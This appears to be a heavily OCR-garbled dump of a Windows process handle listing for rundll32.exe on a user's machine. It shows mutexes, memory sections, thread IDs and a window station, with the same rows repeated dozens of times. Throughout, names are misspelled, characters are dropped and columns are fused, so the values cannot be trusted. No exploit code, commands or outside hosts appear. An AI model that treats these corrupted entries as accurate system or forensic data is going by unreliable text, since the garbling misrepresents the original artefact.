0x214 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218	utant	\Sessions\1\BaseNamedObjects\!IETId!Mutex	0x2a0
Jutant JSessions/1/BaseNamedObjects/c:/usersilucas/annotata/roaminotmicrosoft/windowslietidc 0x24 rocess rundl32.exe (2832) 0x25c ection Commit (892.k8) 0xcc ection JSessions/1/BaseNamedObjects/windows_shell_global_counters 0x158 ection JSessions/1/BaseNamedObjects/C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ection JSessions/1/BaseNamedObjects/C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_His 0x17c ection JSessions/1/BaseNamedObjects/C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ection JSessions/1/BaseNamedObjects/UrlZonesSM_Lucas 0x284 ection JSessions/1/BaseNamedObjects/C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc hread rundl32.exe (2836): 4000 0x144 hread rundl32.exe (2836): 1388 0x17c hread rundl32.exe (2836): 2096 0x200 hread rundl32.exe (2836): 2294 0x200 hread rundl32.exe (2836): 2294 0x214	ssions\1/BaseNamedObjects\c:luserslucasIanndataIronaminoImicrosoft!windowslietlic 0x24 dll32.exe (2832) 0x25c mit (892 kB) 0xcc ssions\1/BaseNamedObjects\windows_shell_global_counters 0x158 ssions\1/BaseNamedObjects\c:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ssions\1/BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c ssions\1/BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ssions\1/BaseNamedObjects\UrlZonesSM_Lucas 0x284 ssions\1/BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc dll32.exe (2836): 4000 0x144 dll32.exe (2836): 4000 0x17c dll32.exe (2836): 2096 0x200 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218 dll32.exe (2836): 3284 0x218	utant	\Sessions\1\BaseNamedObjects\ZonesLockedCacheCounterMutex	0x2a4
rocess rundl32.exe (2832) 0x25c ection Commit (892 kB) 0xcc ection \Sessions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ection \Sessions\1\BaseNamedObjects\c:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x284 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc htread rundl32.exe (2836): 4000 0x144 htread rundl32.exe (2836): 1388 0x17c htread rundl32.exe (2836): 2096 0x200 htread rundl32.exe (2836): 3284 0x214 htread rundl32.exe (2836): 2096 0x200 htread rundl32.exe (2836): 2094 0x216	dll32.exe (2832) 0x25c mit (892 kB) 0xcc ssions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_re 0x15c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Coal_Microsoft_Windows_re 0x16c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ssions\1\BaseNamedObjects\UrlZonesSM_Lucas 0x284 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x284 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x24c dll32.exe (2836): 4000 0x17c dll32.exe (2836): 1388 0x178 dll32.exe (2836): 2096 0x200 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218	utant	\Sessions\1\BaseNamedObjects\c:luserslucaslappdataIrpamingImicrosoff1windowslietIdc	0x2d4
ection Commit (892 kB) 0xcc ection \Sessions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_His 0x284 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc hread rundll32.exe (2836): 4000 0x17c hread rundll32.exe (2836): 1388 0x178 hread rundll32.exe (2836): 2096 0x200 hread rundll32.exe (2836): 2284 0x214 hread rundll32.exe (2836): 2284 0x214	mit (892 kB) 0xcc ssions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c isions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c isions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 isions\1\BaseNamedObjects\UrlZonesSM_Lucas 0x284 isions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc #I32.exe (2836): 4000 0x17c #I32.exe (2836): 1388 0x1f8 #I32.exe (2836): 3284 0x214 #I32.exe (2836): 3284 0x214 #I32.exe (2836): 3284 0x218 #I32.exe (2836): 3284 0x218	rocess	rundl32.exe (2832)	0x25c
ection \Sessions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_His 0x284 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc mread rundll32.exe (2836): 4000 0x17c mread rundll32.exe (2836): 1388 0x178 mread rundll32.exe (2836): 2096 0x200 mread rundll32.exe (2836): 3284 0x214 mread rundll32.exe (2836): 2096 0x200 mread rundll32.exe (2836): 2096 0x200	ssions\1\BaseNamedObjects\windows_shell_global_counters 0x158 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c ssions\1\BaseNamedObjects\UrlZonesSM_Lucas 0x284 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x26c dl32.exe (2836): 4000 0x144 dl32.exe (2836): 1388 0x168 dl32.exe (2836): 2096 0x200 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x218	ection	Commit (892 kB)	Oxec
ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x284 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc inread rundll32.exe (2836): 4000 0x17c inread rundll32.exe (2836): 1388 0x178 inread rundll32.exe (2836): 2096 0x200 inread rundll32.exe (2836): 3284 0x214 inread rundll32.exe (2836): 2096 0x200 inread rundll32.exe (2836): 2096 0x200	ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te 0x15c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ssions\1\BaseNamedObjects\UrlZonesSM_Lucas 0x284 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc dl32.exe (2836): 4000 0x144 dl32.exe (2836): 1388 0x168 dl32.exe (2836): 2096 0x200 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x218	ection	\Sessions\1\BaseNamedObjects\windows_shell_global_counters	0x158
ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ection \Sessions\1\BaseNamedObjects\UrlZonesSM_Lucas 0x284 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x204 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc hread rundll32.exe (2836): 4000 0x17c hread rundll32.exe (2836): 1388 0x1f8 hread rundll32.exe (2836): 2096 0x200 hread rundll32.exe (2836): 3284 0x214	ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ssions\1\BaseNamedObjects\UrlZonesSM_Lucas 0x284 sions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc dll32.exe (2836): 4000 0x144 dll32.exe (2836): 1388 0x1f8 dll32.exe (2836): 2096 0x200 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218	ection	\Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te	0x15c
ksessions/1/BaseNamedObjects/C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ection ksessions/1/BaseNamedObjects/L/IZonesSM_Lucas 0x284 ection ksessions/1/BaseNamedObjects/L/IZonesSM_Lucas 0x204 inread rundll32.exe (2836): 4000 0x144 inread rundll32.exe (2836): 1388 0x17c inread rundll32.exe (2836): 2096 0x200 inread rundll32.exe (2836): 3284 0x200 inread rundll32.exe (2836): 2096 0x200	ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ssions\1\BaseNamedObjects\UrlZonesSM_Lucas 0x284 isions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc dl32.exe (2836): 4000 0x144 dl32.exe (2836): 1388 0x1f8 dl32.exe (2836): 2096 0x200 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x218	ection	\Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows	0x16c
ksessions\1\BaseNamedObjects\UrlZonesSM_Lucas 0x284 ection \sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc inread rundll32.exe (2836): 4000 0x144 inread rundll32.exe (2836): 1388 0x17c inread rundll32.exe (2836): 1388 0x18 inread rundll32.exe (2836): 2096 0x200 inread rundll32.exe (2836): 2284 0x214	ssions\1\BaseNamedObjects\LirlZonesSM_Lucas 0x284 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc dll32.exe (2836): 4000 0x144 dll32.exe (2836): 1388 0x17c dll32.exe (2836): 2096 0x200 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218	ection	\Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His	0x178
ksesions\lBaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc hread rundl32.exe (2836): 4000 0x144 hread rundl32.exe (2836): 4000 0x17c hread rundl32.exe (2836): 1388 0x178 hread rundl32.exe (2836): 2096 0x200 hread rundl32.exe (2836): 3284 0x214	ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc dll32.exe (2836): 4000 0x144 dll32.exe (2836): 4000 0x17c dll32.exe (2836): 1388 0x168 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218	ection	\Sessions\1\βaseNamedObjects\UrlZonesSM_Lucas	0x284
hread rundl32.exe (2836): 4000 0x144 hread rundl32.exe (2836): 4000 0x17c hread rundl32.exe (2836): 1388 0x1f8 hread rundl32.exe (2836): 2096 0x200 hread rundl32.exe (2836): 3284 0x214	dll32.exe (2836): 4000 0x144 dll32.exe (2836): 4000 0x17c dll32.exe (2836): 1388 0x1f8 dll32.exe (2836): 2096 0x200 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218 dll32.exe (2836): 3284 0x218	ection	\Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows	0x2dc
nread rundl32.exe (2836): 4000 0x17c nread rundl32.exe (2836): 1388 0x168 nread rundl32.exe (2836): 2096 0x200 nread rundl32.exe (2836): 3284 0x214 nread rundl32.exe (2836): 3284 0x216	dll32.exe (2836): 4000 0x17c dll32.exe (2836): 1388 0x1f8 dll32.exe (2836): 2096 0x200 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218 dll32.exe (2836): 3284 0x218	hread	rundl32.exe (2836): 4000	0x144
Inread rundll32.exe (2836): 1388 0x1f8 Inread rundll32.exe (2836): 2096 0x200 Inread rundll32.exe (2836): 3284 0x214 Inread rundll32.exe (2836): 3284 0x214	dll32.exe (2836): 1388 0x1f8 dll32.exe (2836): 2096 0x200 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218	hread	rundl32.exe (2836): 4000	0x17c
Inread rundll32.exe (2836): 2096 0x200 Inread rundll32.exe (2836): 3284 0x214 Inread rundll32.exe (2836): 3284 0x214	dl32.exe (2836): 2096 0x200 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x218 dl32.exe (2836): 3284 0x218	hread	rundl32.exe (2836): 1388	0x1f8
Interad rundli32.exe (2836): 3284 0x214 Interad Interad 0x214	dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x218 dl32.exe (2836): 1388 0x218	hread	rundli32.exe (2836): 2096	0x200
wand susdian (2020), 2004 0.210	#32.exe (2836): 3284 0x218	hread	rundl32.exe (2836): 3284	0x214
riread rundiisz.exe (2636): 5264 0X218	132 ava (2836): 1398 0v224	hread	rundli32.exe (2836): 3284	0x218
nread rundli32.exe (2836): 1388 0x224	m32.exe (2030): 1300 0X221	hread	rundl32.exe (2836): 1388	0x224
nread rundli32.exe (2836): 1388 0x22c	JI32.exe (2836): 1388 0x22c	hread	rundll32.exe (2836): 1388	0x22c
nread rundli32.exe (2836): 1396 0x2f0		hread	rundl32.exe (2836): 1396	0x2f0
	#32.exe (2836): 1396 0x2f0	hread	rundl32.exe (2836): 1396	0x304
hread rundl32.exe (2836): 1396 0x304	#32.exe (2836): 1396 0x2f0 #32.exe (2836): 1396 0x304			Desta:
Inread rundll32.exe (2836): 1396 0x304 IndowStation \sessions\1\Windows\WindowStations\WinSta0 0x4c	dll32.exe (2836): 1396 0x2f0 dll32.exe (2836): 1396 0x304 :sions\1\Windows\WindowStations\WinSta0 0x4c	/indowStation	\Sessions\1\Windows\WindowStations\WinSta0	UX4C
Thread rundli32.exe (2836): 3264 0x216 Thread rundli32.exe (2836): 1388 0x224 Thread rundli32.exe (2836): 1388 0x22c Thread rundli32.exe (2836): 1396 0x2f0	dl32.exe (2836): 1388 0x22c	Thread Thread Thread Thread	rundl32.exe (2836): 1388 rundl32.exe (2836): 1388 rundl32.exe (2836): 1396 rundl32.exe (2836): 1396	0x224 0x22c 0x2f0 0x304
	Water (search) search	wead	rundi 32 ava (2836): 1306	0×260
rread rundli32.exe (2836): 1396 0x2f0		read	rundll32.exe (2836): 1396	0x2f0
rread rundil32.exe (2836): 1396 0x2f0		read	rundli32.exe (2836): 1396	0x2f0
	#32.exe (2836): 1396 0x2f0	rread	rundli32.exe (2836): 1396	0x304
	#32.exe (2836): 1396 0x2f0	read	rundl32.exe (2836): 1396	0x304
rread rundil32.exe (2836): 1396 0x2f0		rread rread	rundl32.exe (2836): 1396 rundl32.exe (2836): 1396	0x2f0 0x304
read rundi2.exe (263): 195 0020	wastene (south south sou	read	rundil32.exe (2836): 1396	0x2f0
rread rundl32.exe (2836): 1396 0x2f0		read	rundll32.exe (2836): 1396	0x2f0
read rundii32.exe (2836): 1388 0x22c read rundii32.exe (2836): 1396 0x2f0	#32.exe (2836): 1388 UX22C	read	rundil32.exe (2836): 1388 rundil32.exe (2836): 1396	0x22c 0x2f0
read rundl32.exe (2836): 1388 0x2c	dll32.exe (2836): 1388 0x22c	read	rundl32.exe (2836): 1388	0x22c
read runalis2.exe (2836): 1388 0x22c	3032.exe (2836): 1388 0x22c	read	rundil32.exe (2836): 1388	0x22c
read rundl32.exe (2836): 1388 0x2c	dl32.exe (2836): 1388 0x22c	read	rundll32.exe (2836): 1388	0x22c
read rundli32.exe (2836): 1388 0x22c	dl32.exe (2836): 1388 0x22c	read	rundli32.exe (2836): 1388	0x22c
read rundl32.exe (2836): 1388 0x2c	#32.exe (2836): 1388 0x22c	read	rundll32.exe (2836): 1388	0x22c
read rundli32.exe (2836): 1388 0x22c	dl32.exe (2836): 1388 0x22c	read	rundli32.exe (2836): 1388	0x22c
read rundil32.exe (2836): 1388 0x22c	dll32.exe (2836): 1388 0x22c	read	rundil32.exe (2836): 1388	0x22c
read rundl32.exe (2836): 1388 0x22c	#32.exe (2836): 1388 0x22c	read	rundli32.exe (2836): 1388	0x22c
read rundisz.exe (23.6): 1368 0X22C	#32.exe (2856): 1388 UX22C	read	rundil32.exe (2836): 1388	0x22c
	M32.6X6 (2030): 1300	read	sundist eve (2000). 1000	0.260
read rundisz.exe (2836): 1388 0x22c	#32.exe (2836): 1388 0x22c	read	rundli32.exe (2836): 1388	0x22c
read runuisz.exe (2006): 1000 0422	#32.EXE (2030): 1305 0X22C	reau	runuli 32.exe (2030): 1300	0.20
read rundl32.exe (2836): 1396 0x2f0		read	rundl32.exe (2836): 1396	0x2f0
read rundl32.exe (2836): 1396 0x2f0		read	rundl32.exe (2836): 1396	0x2f0
read rundli32.exe (2836): 1396 0x2f0		read	rundll32.exe (2836): 1396	0x2f0
read rundli32.exe (2836): 1396 0x2f0		read	rundl32.exe (2836): 1396	0x2f0
read rundli32.exe (2836): 1396 0x2f0		read	rundll32.exe (2836): 1396	0x2f0
read rundli32.exe (2836): 1396 0x2f0		read	rundl32.exe (2836): 1396	0x2f0
read rundil32.exe (2836): 1396 0x2f0		read	rundl32.exe (2836): 1396	0x2f0
read rundl32.exe (2836): 1395 0x20		read	rundil32.exe (2836): 1396	0x2f0
read rundi32.exe (2836): 1388 0x22c	#32.exe (2836): 1388 0x22c	read	rundl32.exe (2836): 1388	0x22c
read rundl32.exe (2836): 1388 0x22c	dl32.exe (2836): 1388 0x22c	read	rundl32.exe (2836): 1388	0x22c
read rundli32.exe (2836): 1388 0x224	#32-EXE (2030): 1300 VX227	read	rundl32.exe (2836): 1388	0x224
read rundis.c.exe (2030): 5284 0x218	122 ava (2936): 1399 0v224	read	rundli32.exe (2836): 3284	0x218
(and supdist 20.05), 2004	1132.exe (2836): 3284 0x218	read	rundli32.exe (2836): 3284	0x214
read rundi32.exe (2836): 3284 0x214	dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x218 dl32.exe (2836): 1388 0x224	read	rundil32.exe (2836): 2096	0x200
read rundi32.exe (2836): 3284 0x214	JIJ 2. exe (2836): 3284 0x214 JIJ 3. exe (2836): 3284 0x218 JIJ 3. exe (2836): 3284 0x218	read	rundi 32.exe (2030): 1300	0,200
mead rundil32.exe (2836): 3284 0x200 read rundil32.exe (2836): 3284 0x214 read rundil32.exe (2836): 3284 0x216	JII 32. exe (2836): 3296 0x200 JII 32. exe (2836): 3284 0x214 JII 32. exe (2836): 3284 0x218 JII 32. exe (2836): 3284 0x218	read	rundil32.exe (2030): 1368	0x178
rread rundli32.exe (2836): 2096 0x200 read rundli32.exe (2836): 3284 0x214 read rundli32.exe (2836): 3284 0x214	dll32.exe (2836): 2096 0x200 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218 dll32.exe (2836): 3284 0x218	read	rundl32.exe (2836): 1388	0x1f8
read rundli32.exe (2836): 2096 0x200 read rundli32.exe (2836): 3284 0x214	III32.exe (2836): 2096 0x200 III32.exe (2836): 3284 0x214 III32.exe (2836): 3284 0x218 III32.exe (2836): 3284 0x218	read	rundl32.exe (2836): 1388	0x1f8
Wead rundlis2.exe (2836): 1388 0x1ns wread rundli32.exe (2836): 2096 0x200 wread rundli32.exe (2836): 3284 0x214	III.52.exe (2836): 1388 0x1r8 III.32.exe (2836): 2096 0x200 III.32.exe (2836): 3284 0x214 III.32.exe (2836): 3284 0x218 III.32.exe (2836): 3284 0x218	read	rundil32.exe (2836): 4000	0x1/c
wread rundli32.exe (2836): 1388 0x1f8 wread rundli32.exe (2836): 2096 0x200 wread rundli32.exe (2836): 3284 0x214	dll32.exe (2836): 1388 0x1f8 dll32.exe (2836): 2096 0x200 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218	read	rundl32.exe (2836): 4000	0x17c
rundil32.exe (2836): 1388 0x1f8 mead rundil32.exe (2836): 2096 0x200 mead rundil32.exe (2836): 3284 0x214	III.2.exe (2836): 1388 0x168 III.2.exe (2836): 2096 0x200 III.2.exe (2836): 3284 0x214 III.2.exe (2836): 3284 0x214 III.2.exe (2836): 3284 0x218	read	rundl 32 eye (2836): 4000	0x17c
read rundl32.exe (2836): 4000 0x17c read rundl32.exe (2836): 1388 0x188 read rundl32.exe (2836): 2096 0x200 read rundl32.exe (2836): 3284 0x214 read rundl32.exe (2836): 3284 0x216	dll32.exe (2836): 4000 0x17c dll32.exe (2836): 1388 0x1f8 dll32.exe (2836): 2096 0x200 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218	read	rundli32.exe (2836): 4000	0x144
read rundli32.exe (2836): 4000 0x17c read rundli32.exe (2836): 1388 0x1f8 read rundli32.exe (2836): 2096 0x200 read rundli32.exe (2836): 3284 0x214 read rundli32.exe (2836): 3284 0x216	dl32.exe (2836): 4000 0x17c dl32.exe (2836): 1388 0x168 dl32.exe (2836): 2096 0x200 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x214	read	rundij32.exe (2836): 4000	0x144
mead rundli32.exe (2836): 4000 0x144 mead rundli32.exe (2836): 4000 0x17c mead rundli32.exe (2836): 1388 0x188 mead rundli32.exe (2836): 2096 0x200 mead rundli32.exe (2836): 3284 0x214	dll32.exe (2836): 4000 0x144 dll32.exe (2836): 4000 0x17c dll32.exe (2836): 1388 0x1f8 dll32.exe (2836): 2096 0x200 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218	ection	\Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows	0x2dc
ksessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc mead rundll32.exe (2836): 4000 0x144 mead rundll32.exe (2836): 4000 0x17c mead rundll32.exe (2836): 1388 0x1f8 mead rundll32.exe (2836): 2096 0x200 mead rundll32.exe (2836): 3284 0x214	ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc dl32.exe (2836): 4000 0x144 dl32.exe (2836): 4000 0x17c dl32.exe (2836): 1388 0x168 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x218	action	\Sessions\1\βaseNamedObjects\UrlZonesSM_Lucas	0x284
Construction Sessions (1)BaseNamedObjects (µri2onesSM_Lucas 0x284 ection \Sessions (1)BaseNamedObjects (C: _Users _Lucas _AppData_Roaming_Microsoft_Windows 0x2dc wead rundl32.exe (2836): 4000 0x144 wead rundl32.exe (2836): 4000 0x17c wead rundl32.exe (2836): 1388 0x188 wead rundl32.exe (2836): 2096 0x200 wead rundl32.exe (2836): 3284 0x214	ssions\1\BaseNamedObjects\UriZonesSM_Lucas 02284 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc dl32.exe (2836): 4000 0x144 dl32.exe (2836): 4000 0x17c dl32.exe (2836): 1388 0x18 dl32.exe (2836): 2096 0x200 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x214	sction	Sessions \1/baseNamedObjects \C:_Users_Lucas_AppData_Local_Microsoft_Windows_His	0x178
cction \Sessions\1\BaseNamedObjects\LriZonesSM_Lucas 0x284 cction \Sessions\1\BaseNamedObjects\LriZonesSM_Lucas 0x284 cction \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc mead rundll32.exe (2836): 4000 0x17c mead rundll32.exe (2836): 1388 0x176 mead rundll32.exe (2836): 2096 0x200 mead rundll32.exe (2836): 3284 0x214	Soins (1) [BaseNamedObjects/UriZonesSM_Lucas 0x284 soins (1) [BaseNamedObjects/UriZonesSM_Lucas 0x284 sions (1) [BaseNamedObjects/UriZonesSM_Lucas 0x204 dl32.exe (2836): 4000 0x144 dl32.exe (2836): 1388 0x17c dl32.exe (2836): 2096 0x200 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x218 dl32.exe (2836): 3284 0x218	ection	Sessions\1\RaseNamedObjects\C: Lisers Lucas AppData Local Microsoft Windows His	0x178
ksessions/1/BaseNamedObjects/C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 kection ksessions/1/BaseNamedObjects/UrlZonesSM_Lucas 0x284 kection ksessions/1/BaseNamedObjects/Lucas_AppData_Roaming_Microsoft_Windows 0x2dc vread rundli32.exe (2836): 4000 0x17c vread rundli32.exe (2836): 1388 0x17c vread rundli32.exe (2836): 2096 0x200 vread rundli32.exe (2836): 224 0x216	ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 0x284 ssions\1\BaseNamedObjects\UrlZonesSM_Lucas 0x284 sions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc dll32.exe (2836): 4000 0x144 dll32.exe (2836): 1388 0x1f8 dll32.exe (2836): 2096 0x200 dll32.exe (2836): 3284 0x214 dll32.exe (2836): 3284 0x218 dll32.exe (2836): 3284 0x218	ection	\Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows	0x16c
ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x284 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x2dc hread rundll32.exe (2836): 4000 0x17c hread rundll32.exe (2836): 1388 0x1f8 hread rundll32.exe (2836): 2096 0x200 hread rundll32.exe (2836): 3284 0x214	ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_His 0x178 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_His 0x284 ssions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows 0x204 dl32.exe (2836): 4000 0x144 dl32.exe (2836): 1388 0x168 dl32.exe (2836): 2096 0x200 dl32.exe (2836): 3284 0x214 dl32.exe (2836): 3284 0x214	ection	<pre>\Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Local_Microsoft_Windows_Te</pre>	0x15c
ccton \Sessions\1\paseNamedObjects\C:_Users_Lucas_AppData_local_Microsoft_Windows_re 0x15c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_local_Microsoft_Windows_re 0x17c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_local_Microsoft_Windows_re 0x17c ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_local_Microsoft_Windows_re 0x224 ection \Sessions\1\BaseNamedObjects\C:_Users_Lucas_AppData_Roaming_Microsoft_Windows_re 0x2dc hread rundl32.exe (2836): 4000 0x17c hread rundl32.exe (2836): 1388 0x176 hread rundl32.exe (2836): 2096 0x200 hread rundl32.exe (2836): 3284 0x214	ssions () BaseNamedObjects(): _Users_Lucas_AppData_Roaming_Microsoft_Windows 0x15c ssions () BaseNamedObjects(): _Users_Lucas_AppData_Roaming_Microsoft_Windows 0x16c ssions () BaseNamedObjects(): _Users_Lucas_AppData_Local_Microsoft_Windows 0x17c sions () BaseNamedObjects(): _Users_Lucas 0x284 sions () BaseNamedObjects(): _Users_Lucas 0x284 sions () BaseNamedObjects(): _Users_Lucas 0x284 dl32.exe (2836): 4000 0x17c dl32.exe (2836): 